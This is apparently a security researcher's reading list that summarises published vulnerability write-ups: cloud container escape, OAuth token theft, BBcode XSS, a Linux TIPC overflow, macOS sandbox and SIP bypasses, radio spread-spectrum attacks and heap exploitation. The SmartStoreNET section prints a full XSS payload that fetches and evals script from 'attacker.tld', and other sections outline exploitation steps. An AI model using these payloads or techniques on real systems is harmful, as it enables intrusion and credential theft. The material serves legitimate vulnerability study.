Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

Azure Cosmos DB is a fully managed NoSQL database. On top of this, Jupyter Notebooks is an web application that allows for live coding in Python in a graphical way.

By design in Jupyter Notebooks, you can run arbitrary code in the container. From looking at the ENV they were in, there is a non-sudo user named cosmosuser that is executing the notebook. Seems safe, right?

The Python code was running as a different user. However, when running C# code, it was running as root! It turns out that each programming language has its own host process responsible for executing user-supplied code. Root on the box has been achieved!

The second vulnerability was an unrestricted network access vulnerability. The IP tables had restricted access to specific IPs in the internal network. As root, it was possible to simply remove these items from the IP table. Damn, that was simple!

Let's access these forbidden addresses then! After doing some recon on the service, they found a few things. First, 169.254.169.254 contained the metadata for the currently running virtual machine. This was the IP on the $HOST machine.

The other interesting item was WireServer. WireServer holds about the endpoints that can be queried, extensions information and certificates. This is an open source project that can be found on Github.

After playing around with the WireServer for a while, they were able to find 25 Microsoft Certificates and Private Keys that they should NOT have. When using these credentials to access various things, they were able to retrieve logs and metadata information about Cosmos DBs internal workings. We are getting real close!

By accessing the local service fabric on port 19080 with the abric.westus1.cosmos.azure.com certificate, the sfctl CLI could be used to interact with these directly. This listed 500 Cosmos DB instances that were managed in the regional cluster, which did not belong to the account!

This demonstrated complete access to databases and they stopped at this point. This exploit all started from the privilege escalation. Once you get through the first wall, the security comes much worse! With the network misconfiguration and lack of authentication, this became real bad.

The redirect link in Logitech redirects any authenticated user and adds the access token to the link. Then, using this, they could authenticate with the access token.

In a previous report, it was found that this could be redirected to any domain. This caused an access token link if anybody clicked don the link while logged in.

The author was looking at this old report and was curious if there was anyway to bypass the open redirect allowlist. Because, if this vulnerability was found, an access token could be trivially stolen.

The bypass was unconventional! Instead of finding a parsing bug, they looked for other domains on the wayback machine. While looking on the wayback machine, they noticed several other domains that had been used in the past. One of them was unregistered!

By registering this domain, the redirect could be sent to their own site. By clicking on this link, the access token would be stolen from the OAuth flow!

Good find! The wayback machine is even useful for security research!

SmartStoreNET is an open source ECommerce platformt aht is used on Windows Servers. It offers the ability to host an online business, blogs, forums and much more. With how popular this is, vulnerabilities found in this would be huge.

BBcode is a lightweight markup language used to format messages in many Internet forum software that; a similar technology to Markdown. The BBcode is translated using regular expressions; but, a large amount of the content, such as < is translated into the HTML encoded version.

While parsing links with a format of [text](https://some_url.com) format, the URL portion is removed from the link and placed into an anchors href attribute. Again, this is done through a very simple regex replace call.

Because of the previous escaping steps, it was not possible to use a single or double quote to escape the HTML. However, there are TWO regex patterns that are checked for back-to-back. Making the regex place happen multiple times could cause major parsing issues.

The first regex checks for data of the format [url=http://www.smartstore.com]my site[/url] and puts it into a standard link. After this, another transformation is done on BBcode of type [url]http://www.smartstore.com[/url].

On the first regex, the parameter [url=myAttribute=myValue x=] is used to trigger the first regex. This transformation puts an href, with the value put above (which is not a URL at all). It should be noted that this is the inner link.

On the second replace, it sees the transformed value above as a link, since they are nested. Even though we have already escaped the first one, it believes that this is a link that needs to be replaced with the second regex. When this happens, there is an unexpected amount of quotes already in the link. As a result, the already added links first double quote escapes the string! This allows for the adding of an arbitrary attribute with an arbitrary value!

The progression is shown below:

1. Original payload: [url]foo[url=myAttribute=myValue x=]bar[/url]xyz[/url]
2. After first regex replace: [url]foo<a href="myAttribute=myValue x=" >bar</a>xyz[/url]. Notice that the original format has been replaced with an anchor tag.
3. Second regex place: <a href="foo<a href="myAttribute=myValue x=" >bar</a>xyz</a>.

The important action is that the second regex replace, which puts an object with double quotes into the href. This allows for the escaping which eventually leads to XSS!

The XSS was not simple to trigger though; only attributes can be added to the <a> tag and there is a limit on the characters that can be used for this, from the filtering done prior. To exploit this, they choose to use a style attribute. They added an animation, that, when rendered, would make a web request and eval the data from the request.

The full payload looked like this: [url] [url=style=animation-name:fa-spin; onwebkitanimationend=$.get(`http://attacker.tld/x.js`,function(_){eval(_)}) x=] [/url] [/url]. At this point, code execution is trivial by adding a custom plugin to the store. Game over!

Overall, this was an interesting XSS bug that required a break in the parsing of weird BBcode. To patch this, an additional level of sanitization happened at the end of the processing chain.

CodeQL is a querying language used for Code. When analyzing large code bases, such as the Linux kernel, this can be used to learn about the code base or attempt to find very specific vulnerabilities.

The author checked for all occurrences of a 16-bit number being passed to kmalloc, the function for allocating memory dynamically. This is because it is easier to overflow a buffer with a 16-bit number compared to a 32 or 64-bit size.

The initial query returned 60 results. From further analysis, a single path stood out. A function was parsing user controlled data without validating the size of the message what-so-ever when doing the write. This smells like a buffer overflow but triggering bugs is never this simple.

Transparent Inter-Process Communication (TIPC) is a protocol that allows nodes in a cluster to communicate with each other. The protocol is implemented in a kernel module packaged with all major Linux distributions. It can be configured over the top of Ethernet or UDP.

The code path was for handling this was found to be exploitable via message type of MSG_CRYPTO. The header size and message size are both validated against the packet size. However, the vulnerability occurs because the keylen field is not compared against the message size.

In practice, this means that an attacker can create a packet with a small body size to allocate heap memory, and then use an arbitrary size in the keylen attribute to write outside the bounds of this location. This bug can be triggered locally or remotely.

The write is interesting since it happens prior to the validation. If the validation is hit, then the program exits. To exploit this, the overflow of the heap buffer could exploit things around it. If you want to continue with the current though path, only a 10 byte overflow is possible to use.

The patch moves the validation of the size before the write occurs. Additionally, an integer overflow check and minimum packet size validation were added.

CodeQL does not find bugs by itself. However, it drastically helps in the discovery of the bugs. This was a great case of looking for a bug class and finding it via CodeQL. Good find!

The macOS App Sandbox restricts system resources and user data for applications. Additionally, a user can use an applications entitlements to assess its behavior. Every sandboxed application gets its own container that can isolate network access, hardware and other things.

The open utility is used on macOs under the hood to open files. This can be called within the sandbox, including the underlining APIs. Should you be able to open arbitrary files using this? Probably not!

The Terminal application can be called via the API calls for open. By controlling the HOME environmental variable being passed to the API call, we can set this to a location outside of the container.

To bypass the restrictions, the following action can be done:

1. Write the payload into a profile file, such as the bash profile.
2. Open the Terminal application setting the $HOME ENV variable.

Since the Terminal application is not sandboxed at all, this gives us full disk access! This is gameover on the application, depending on the user this runs at. The article mentions nothing particular about the fix.

All input to a privileged context should be considered malicious. In this case, the mishandling of the $HOME ENV variable led to compromise. Good find!

System Integrity Protection (SIP) protects the system from running unauthorized code on macOS. e. The system automatically authorizes apps that the user downloads from the App Store. It is also known as “rootless”; it essentially locks down the system from root by leveraging the Apple sandbox to protect the entire platform.

SIP has added many restrictions over the years; one of these are the filesystem restrictions. The rootless configuration controls which files are SIP protected and there is an extended attribute for this as well. There is a valid way to bypass this though: using the rootless* entitlements, which are used for upgrades and things.

In the past, there have been several bypasses for SIP:

• Abusing dynamic libraries. Similar to DLL hijacking, there was a bypass that allowed for the insertion of a malicious DLL into a binary with the rootless.*
• In 2020, a mounting vulnerability was found. By directly mounting a .dmg file over a SIP protected folder, SIP could be bypassed.
• Many entitled processes may have security holes, such as fsck_cs. In this case, you could give the utility symbolic links to load SIP protected directories.

Microsoft defender has the com.apple.rootless.install.heritable entitlement. With this entitlement, any child process of system_installd would be able to bypass SIP filesystem restrictions altogether. Would it be possible to get this binary to run something that we control?

This was likely exploitable in several scenarios. However, the authors chose to look into system_installd specifically. When installing an Apple-signed package, the package invokes this script and takes charge of the original process. If the package contains any post-install scripts, this is ran via the default shell zsh.

When zsh is executed, it looks for the file /etc/zshenv. If this is found, then the commands are automatically ran from the file. This allows arbitrary actions to be performed in the context of system_installd; hence, in the context of Microsoft Defender.

Overall, this is a great find that required a deep understanding of macOS and the entitlements put in place. The zsh issue likely exists in other places too, meaning it may be a valid exploit technique going forward.

Frequency Hopping Spread Spectrum (FHSS) changes frequencies constantly. This is a seemingly random but predictable by the receiver. It is incredibly efficient in the unlicensed bands, as data is easier to pick out.

Practically, this is used quite a bit! Back in the day, this was used for military communication with Single Channel Ground and Airborne Radio System (SINCGARS) for voice and data. This used 30-80MHz of bandwith with 120+ channels. The hopping was done 100ish times per second. The original implementation replied on the hopping for security!

Bluetooth uses FHSS as well. It has 79 total channels at 1MHz a piece. It has 3200 clock cycles and switch every other cycle. This means that bluetooth hops 1600 times per second. In implementation documentation, the authors came across an article that claimed that the FHSS modulation acts as a layer 1 encryption... this is not right but a common misconception.

How to break this? The most obvious way is to get the hopping pattern. There are a few ways mentioned:

• Break the algorithm being used by figuring out the PRNG source.
• Analyze data fast enough to catch hops.
• Generate the pattern for all clock values associated with the radio. This was done by Michael Ossmann at ShmooCon 2009 on Bluetooth by listening for a whole day.

The purpose of this talk was evaluating the implementation of FHSS. They came up with a substantial amount of code for this and created their own platform to do so. This repo is called HedyAttack after the supposedly inventor of FHSS Hedy Lamarr. They noted they destroyed a bunch of hardware in the process and it is part of the process.

By the end of developing the project, they had some interesting firmware. The first program is maxscan, which is a simply spectrum analyzer. This is helpful for figuring out WHERE the hops are happening at and visualizing everything.

The next tool is minscan. This tool starts out by recording the average minimum RSSI value for each channel using a series of initialization passes. Once the minimum values have been recorded the tool changes mode to monitor ups in the RSSI value that should indicate transmission on that channel. This helps with tracking the switching.

While writing the firmware, a lot of code was borrowed from the IM-ME in order to make things and many things did not work. This radio communication stuff is really hard! A lot of things are hidden behind paywalls, which is really annoying to deal with. The code even has a Python interface in order to handle this on the computer side, away from the radio. This required them writing their own USB communication interface from scratch.

The amazing piece of software is that this can be used to do hop tracking! This does assume that the radio can be used on the entire bandwidth of the FHSS. The tool only works on the CC1111EMK868-915 TI board, which only operates on the 868 MHz and 915MHz frequency bands.

What are the steps for analysis?

• Floor and Ceiling. Find the mins and maxs.
• Channel threshold. How do we know that we have found a channel?
• Channel identification and spacing.
• Find the hopping pattern.
• Find the sync word. This is the I'm starting to send data thing.

Although this is a lot of information to figure out, there is a finite amount of ways to configure most things. Since this is the case, people will just say this is secure. Interacting with FHSS is hard but not a security feature by itself. The Github repo has code for graphically viewing the spectrum, analyzing the hops to figure out parameters and actually sending data.

An additional piece I found while watching this talk was Combining the Bandwidth of Two HackRFs. Using this, you could use the HackRF to view a larger bandwidth than what we thought was possible. During this talk, the HackRF did not exist, requiring them to make their own tooling.

Overall, a really interesting talk about FHSS in the wild. It seems that this has died down some but this is not where it ends!

Spread spectrum is the usage of more bandwidth than necessary on a radio transmission than what is necessary. In the land of radios, bandwidth is the width (in Hz) of the range of the frequency of the components in the signal. Some AM protocols use a narrow band in order to send the information, in the magnitude of 10kHz.

Bluetooth uses 100MHz, but only uses 1MHz at a time. Although this seems like a waste, it has the benefit of being less susceptible to interference by moving around. Additionally, multiple Bluetooth connections can be used at once without interference. The extra space with the benefit is known as spread spectrum.

There are two main flavors of spread spectrum: Frequency Hopping Spread Spectrum (FHSS) and Direct Sequence Spread Spectrum (DSSS). Are these secure? This talk is about tackling the security of FHSS and DSSS, as claims have been made on the security of this for over a century.

FHSS changes frequencies constantly (like Bluetooth). The first question is can we receive or view the data with FHSS? According to the speaker, this can be done with any SDR as long as we know the hopping pattern. An example of this is with the Ubertooth, which is used to hack Bluetooth and BLE. An additional implementation of this was done at ShmooCon in 2011, with code on Github. This can be used to jam or listen into signals.

An attack scenario is that SDRs can operate on many channels at once. By receiving or transmitting on all of the signals at once, we do not even need to know the hopping sequence! We can simply listen, then compute later if we want to steal the information. Additionally, if we want to transmit, we send the data on all of the frequencies, where one of them will work. Damn, that seems obvious but is quite clever!

When digitizing an analog wave, we do this by representing the data with 0 and 1s with a finite size and a finite amount of samples. When you get multiple bands sitting over the top of each other, this is called aliasing, which causes interference. Most of the time, we avoid this by filtering the frequencies that we want.

Most of the time, aliasing is bad. However, with FHSS, we know that the target is only using ONE frequency at a time. As a result, we can turn off the anti-aliasing to intentionally get the data across multiple frequencies to overlap. The author calls this intentional aliasing. In the talk, this is used to find data from multiple bluetooth channel at once, which is really awesome! On the HackRF, this required the turning off of the standard anti-aliasing and the addition of a bandpass filter to the antenna.

But, there is still a problem... the channels are overlapped with each other. But, the author used a trick in this to make the data somewhat offset. By using a sample rate that is not an integer multiple of the bandwidth of bluetooth, the frequencies are somewhat offset, even though they layered on top of each other. Wow, another amazing trick!

DSSS artificially inflates the amount of bits being sent for redundancy. The term chip is used in order to represent a value being sent. We turn a 1 into 12 chips to make it easier for device to decode down the road. Then, the 0 would be the inverse of the value of the 1. By using a correlation technique with the chip sequence, we can find the actual data being sent by looking for these spikes of expected signals.

This modulation technique is used in 802.11b/g, 802.15.4, Zigbee, satellite communication and GPS. When looking at a waterfall graph, the pattern is quite distinct! It has a uniform pattern across a large bandwidth that repeats. How is the security of it?

DSSS is not vulnerable to narrowband jamming. However, it is vulnerable to wideband jamming. Additionally we can send random codes to cause corruption if we know the chipping code. If it is really low on power, can we even find it? You can always detect signals!

Directional antennas can be used to easier find a signal but this is a given. Additionally, by multiplying the signal by itself the signal becomes really easy to see. To make things better, the chip rate is even obvious in the visualization with three spikes (two ends of the chip rate and the middle). Even an auto correlation feature can be used with this within GNU radio.

I am a little confused on how DSSS works still. To me, bandwidth is the size where data between two frequencies. Unintuitively, the increasing the data rate (amount of changes in signal) artificially increases the bandwidth. This concept is the basis of the protocol but it does not make intuitive sense to me.

At the end of the presentation, the author is trying to reverse the packet structure of a device they have. By looking at a data sheet, they figured out the beginning of a packet, the amount of chips in a bit and much more. By the end, the author would decode the information from the signal!

At the end of the talk, the author claims that spread spectrum is not a security feature, even if many things claim this. Sounds like an interesting thing to attack and go after! Many things still claim these to be a security feature.

The CTF challenge is running on a Raspberry Pie. The binary is a multithreaded C++ application for taking the length of a string. You can view or delete the results of this operation as well. The two main data structures are the request struct with a create+delete operation, as well as a thread safe ring/queue buffer that can be read and written for the strlen operation.

How it is thread safe? Instead of using locks, while loops are used in order to ensure that the queue is properly used. For instance, if the ring buffer is full, the producer will stay in an infinite loop until the ring buffer is not longer full. This same type of pausing is used on the consumer end when the queue is empty by checking if the head and the tail are the same.

CPUs are insane with all of the operations that they do. CPUs will commonly rearrange instructions, as long as the operations don't affect each other, in order to perform actions in parallel. In x86, the memory reordering is strict enough where nothing happens. On ARM, this is not the case.

Memory loads and stores can be reordered, assuming that the values down the line are not affected. In the example shown below, thread 1 could set the value of ready and value. However, since these could get reordered, the read on 4 may happen prior to the initialization in 1 even happening! Wow, that's wild.

volatile int value;
volatile int ready;

// Thread 1
value = 123; // (1)
ready = 1; // (2)

// Thread 2
while (!ready); // (3)
print(value); // (4)

Now, back to the program! In the ring buffer (a circular linked list), the consumer operation waits in a while loop for the head pointer to NOT equal the tail. In order to update this, the producer will remove the entry then sets the head to be the next element. The order seems fine, so what's the problem? CPU reordering!

If the CPU reorders the writing of the head pointer PRIOR to writing the pointer into the ring buffer, then our consumer thread can break out of the loop to consume the value. Since the pointer was never written to the queue (with the reordering), we will have access to a stale pointer from the previous usage of the slot in the ring buffer. There is a really good visual for how this works in the article as well.

This attack requires 20K requests in order to work. To make this work, we have an identifier on the string get updated, making it obvious when something has been corrupted. At this point, we have a pointer that points to the same object twice though!

The binary is compiled with partial RELRO (corruptable GOT entries) and no PIE, meaning that this would be a good target to overwrite a function pointer. Overwriting a function pointer (such as free) to point to system, is a wonderful way to exploit this.

To get an information leak, we can simply free one of the pointers we have access to. To turn this into an arbitrary read, a pointer in the chunk can simply be overwritten and point at an arbitrary location. Simple enough!

To turn this into a write primitive, we can abuse the second free! By writing to the location of the 'fd' pointer, we can trivially point to this any location and get the chunk back out later. GLibC Malloc does have quite a few mitigations though.

The double free protection can be bypassed by putting a chunk into the fastbin first, as the double free protections between the bins are not synced up. I love this trick! Overall, great write up! The bug was wild and I loved seeing into the mind of the exploit developer. Good work!

Android's NFC stack uses TCB (Task Control Blocks). These are used in order to keep track of the incoming tasks from the NFC controller.

Each TCB has an auxiliary buffer for the timer data. This appears to be setting a time limit on an action, with a resulting callback happening if the functionality times out.

Asynchronous actions are notoriously hard to secure! While fuzzing this functionality, the author discovered that while cancelling one of the TCB tasks, the timer was never cancelled. As a result, the callback could use the information from a removed timer.

The author demonstrates the vulnerability by transitioning between two different types. Using the race condition above, it is possible to swap in your own data for this information. This results in a type confusion.

The attached proof of concept leads to a segfault, but no mention is to the exact reason. Considering the type confusion, this looks like a fairly exploitable bug! You may need a memory leak to do anything meaningful with this though.